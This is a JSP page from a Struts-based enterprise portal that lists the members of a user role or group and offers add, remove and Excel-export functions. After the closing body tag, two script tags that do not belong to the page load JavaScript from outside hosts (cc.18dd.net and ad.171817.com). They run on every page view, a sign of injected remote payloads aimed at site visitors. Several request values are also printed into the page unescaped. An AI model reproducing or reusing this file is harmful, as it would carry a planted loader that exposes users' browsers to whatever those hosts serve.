<%
/*
 * @(#)ListUserMember.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListUserMember.jsp

  This is a ListUserMember page.  It shows the active roles' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      26/10/2004
    @version            $Revision: 1.9.6.14 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserMemberForm" scope="request" class="com.dcivision.user.web.ListUserMemberForm"/>

<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
<!--
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
-->
</script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
</head>

<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "userMemberList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.member_name", "memberName"},
                            {"user.columnheader.member_desc", "memberDesc"},
                            {"user.columnheader.member_type", "memberType"},
                            {"common.columnheader.update_date", "updateDate"},
                            {"common.columnheader.updater", "updaterName"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  String memberType=listUserMemberForm.getMemberType();

  String prefix  = "ListDocument_";
  String sortAttribute=listUserMemberForm.getSortAttribute();
  String sortOrder=listUserMemberForm.getSortOrder();
  String preference = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
  if(!Utility.isEmpty(sessionContainer.getUserRecord().getPreference())){
    preference = sessionContainer.getUserRecord().getPreference().toString();
  }

  String mulitpleRecordValue = (String)request.getAttribute("mulitpleRecordValue");
  String mulitpleGroupValue = (String)request.getAttribute("mulitpleGroupValue");
%>
<script language="javascript">
<!--
<%if ("EXCEL_REPORT".equals(listUserMemberForm.getOpMode())
) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/jsp/user/FileDownloadUserList.jsp?ext=.xls";
}
<% } %>
var clickedFlag = false;
function addUserRecord(){
  if(document.listUserMemberForm.userRecordID.value==""){
    alert("<bean:message key='user.label.request_user_record'/>");
    return(true);
  }
  document.listUserMemberForm.opMode.value="<%=UserMember.OPMODE_ADD_USER%>";
  document.listUserMemberForm.submit();
  return(false);
}

function addUserGroup(){
  if(document.listUserMemberForm.userGroupID.value==""){
    alert("<bean:message key='user.label.request_user_group'/>");
    return(true);
  }
  document.listUserMemberForm.opMode.value="<%=UserMember.OPMODE_ADD_GROUP%>";
  document.listUserMemberForm.submit();
  return(false);
}

function addUserRole(){
  if(document.listUserMemberForm.userRoleID.value==""){
    alert("<bean:message key='user.label.request_user_role'/>");
    return(true);
  }
  document.listUserMemberForm.opMode.value="<%=UserMember.OPMODE_ADD_ROLE%>";
  document.listUserMemberForm.submit();
  return(false);
}

function OpListRemove(){
  var hasChecked = false;

  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }

  document.listUserMemberForm.opMode.value="REMOVE.OPTION";
  document.listUserMemberForm.submit();
  return(false);
}

function ResultOpExport() {
  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {
    document.listUserMemberForm.closeFlag.value ='2';
    OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
    document.listUserMemberForm.opMode.value="EXCEL_REPORT";
    document.listUserMemberForm.submit();
    clickedFlag = true;
    return false;
  }
}
-->
</script>

<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" onLoad="InitializeAction();PreloadImages('<html:img src='LayoutNavMenuBackOn.gif'  pathOnly='true'/>','<html:img src='LayoutNavMenuForwardOn.gif'  pathOnly='true'/>','<html:img src='LayoutNavMenuExitOn.gif'  pathOnly='true'/>','<html:img src='LayoutNavMenuHelpOn.gif'  pathOnly='true'/>')">

<!-- Form Section Begin -->
<html:form action="user/ListUserMember" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<%if(UserMember.MEMBER_TYPE_ROLE.equals(memberType)){%>
<html:hidden property="userRoleID"/>
<%}else if(UserMember.MEMBER_TYPE_GROUP.equals(memberType)){%>
<html:hidden property="userGroupID"/>
<%}else if(UserMember.MEMBER_TYPE_USER.equals(memberType)){%>
<html:hidden property="userRecordID"/>
<%}%>
<html:hidden property="memberType"/>
<html:hidden property="closeFlag" value="0"/>

<!-- Page Title Section Begin -->
<layout:popupTitle titleKey ="user.label.member_list"/>
<br>
<!-- Page Title Section End -->

<!-- main table begin -->
<table width="100%" cellpadding="20" cellspacing="0" border="0">
<tr><td>

<html:beanSorter id='sortedList' name='userMemberList' scope='request' sortAttribute='<%=sortAttribute%>' prefix='<%=prefix%>'
sortOrder='<%=sortOrder%>'/>

<div>
<!-- Table Heading Begin -->
<table cellspacing="5" border="0" width="100%">
  <tr>
    <td align="right" width="14%">
      <b><bean:message key="user.label.user_record"/>:</b>&nbsp;&nbsp;
    </td>
    <td width="80%">
     <%if(!UserMember.MEMBER_TYPE_USER.equals(listUserMemberForm.getMemberType())) {%>            
      <div style="float:left">
      <html:userpicker property='userRecordID' isMulitple='true' mulitpleValue ='<%=mulitpleRecordValue%>'/>&nbsp;
      </div>
      <div>
      <html:standardButton label="user.label.add" onClick="addUserRecord();"/>&nbsp;&nbsp;&nbsp;
      </div>    
      <%}%>
    </td>
    <td></td>
  </tr>  

  <tr>
    <td align="right" width="12%">
      <b><bean:message key="user.columnheader.user_group"/>:</b>&nbsp;&nbsp;
    </td>
    <td width="80%">
      <%if(UserMember.MEMBER_TYPE_ROLE.equals(listUserMemberForm.getMemberType())) {%>            
      <div style="float:left">
      <html:grouppicker property='userGroupID' isMulitple='true' mulitpleValue ='<%=mulitpleGroupValue%>'/>&nbsp;
      </div>
      <div>
      <html:standardButton label="user.label.add" onClick="addUserGroup();"/>&nbsp;&nbsp;&nbsp;
      </div>    
      <%}%>
    </td>
    <td align="right">
      &nbsp;
    </td>
  </tr>  
</table>
<!-- Table Heading End -->
</div>

<layout:listBar>
    <div class="button">
      <html:permissionButton label="contact.label.remove" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" onClick="return(OpListRemove())"/>
    </div>
    </layout:listBar>

<div id="listContainer" >



<div id="dataGrid" class="listTable">
<!-- Table Showing Record List Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listUserMemberForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserMemberForm.getSortAttribute()%>" sortOrder="<%=listUserMemberForm.getSortOrder()%>" copyColumn="false" checkColumn="true" editColumn="false"/>
  </tr>
  
  <!-- Table Column Header End -->
  
  <!-- Record Looping Begin -->
<%ArrayList tmpResult=(ArrayList)request.getAttribute(LIST_NAME);
       int    tmpSize=tmpResult.size();
       %>
  <logic:iterate id="userMember" name="sortedList" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userMember).getID()%>);">
    <td align="center" nowrap>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='userMember' property='ID'/>||<bean:write name='userMember' property='memberType'/>" <%if (tmpSize==1) { %> onclick="return(false);" <%}%>>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td >
      <bean:write name='userMember' property='memberName'/>
    </td>
    <td><bean:write name='userMember' property='memberDesc'/></td>
    <td>
    <logic:equal name='userMember' property='memberType' value='<%=UserMember.MEMBER_TYPE_USER%>'>
      <bean:message key='user.label.member_type_user'/>
    </logic:equal>
    <logic:equal name='userMember' property='memberType' value='<%=UserMember.MEMBER_TYPE_GROUP%>'>
      <bean:message key='user.label.member_type_group'/>
    </logic:equal>
    <logic:equal name='userMember' property='memberType' value='<%=UserMember.MEMBER_TYPE_ROLE%>'>
      <bean:message key='user.label.member_type_role'/>
    </logic:equal>

    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='userMember' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='userMember' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
     
</table>  

<!-- Table Showing Record List End -->
 </div> 
  
  <!-- Pager Information Begin -->
  <div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
    <layout:pager form="listUserMemberForm" name='<%=LIST_NAME%>'>
      <div class="statement"><layout:pagerInfo/></div>
      <div class="sepBar"><layout:pagerIndex/></div>
    </layout:pager>
  </div>
  <!-- Pager Information End -->
 
 </div>  
     <script language="javascript">
    <!--
        var divHeight = (<%=listUserMemberForm.getPageOffset()%>+2)*(20+1)+2;
        FindObj("listContainer").style.height = divHeight+"px";
    -->
    </script>
 
 
 
</td></tr>
</table>
<!-- main table end -->
</html:form>
<!-- Form Section End -->

<br>
<div id="bottomButtonArea">
<div id="buttonSection">
    <html:standardButton label="user.label.resultexport" onClick="return ResultOpExport();"/>
    <html:standardButton label="common.label.close" link="javascript:window.close();"/>    
</div>
</div>




</body>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>